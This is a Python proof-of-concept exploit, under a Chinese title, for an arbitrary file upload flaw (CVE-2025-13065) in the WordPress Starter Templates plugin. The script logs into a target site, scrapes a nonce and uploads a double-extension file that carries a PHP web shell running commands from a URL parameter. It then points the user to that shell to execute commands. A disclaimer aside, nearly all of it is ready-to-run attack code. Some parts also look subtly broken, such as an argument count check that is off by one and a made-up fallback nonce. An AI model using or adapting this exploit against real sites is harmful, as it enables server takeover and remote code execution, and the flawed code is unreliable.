CVE-2025-13065 WordPress Starter Templates插件任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-13065 PoC - WordPress Starter Templates Arbitrary File Upload Author: Security Researcher Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re def create_malicious_file(): """ Create a malicious WXR file with PHP code The file will have double extension to bypass validation """ php_code = '''<?php // Malicious PHP shell for RCE if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>''' # Create file with double extension to bypass .wxr check filename = "malicious.php.jpg" # WXR file content with embedded PHP wxr_content = f'''<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:wp="http://wordpress.org/export/1.2/"> <channel> <title>Malicious Import</title> <item> <content:encoded><![CDATA[{php_code}]]></content:encoded> </item> </channel> </rss>''' return filename, wxr_content.encode() def exploit(target_url, username, password): """ Exploit the arbitrary file upload vulnerability """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Attempting to login to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'invalid' in response.text.lower(): print("[-] Login failed! Please check credentials.") return False print("[+] Login successful!") # Step 2: Get nonce for importer nonce_url = f"{target_url}/wp-admin/admin.php?page=starter-templates" response = session.get(nonce_url) # Extract nonce (simplified) nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if not nonce_match: print("[-] Could not find nonce, trying alternative method...") nonce = "fallback_nonce" else: nonce = nonce_match.group(1) # Step 3: Upload malicious file upload_url = f"{target_url}/wp-admin/admin-ajax.php" filename, file_content = create_malicious_file() files = { 'file': (filename, file_content, 'application/octet-stream') } data = { 'action': 'st_import_site', '_wpnonce': nonce, 'starter-templates-import': '1' } print(f"[*] Uploading malicious file: {filename}") response = session.post(upload_url, data=data, files=files) if response.status_code == 200: print("[+] File upload request sent!") print(f"[*] Check {target_url}/wp-content/uploads/ for the uploaded file") print("[*] Access the file directly to execute commands: ?cmd=whoami") return True print("[-] Upload failed!") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-13065.py <target_url> <username> <password>") print("Example: python cve-2025-13065.py http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)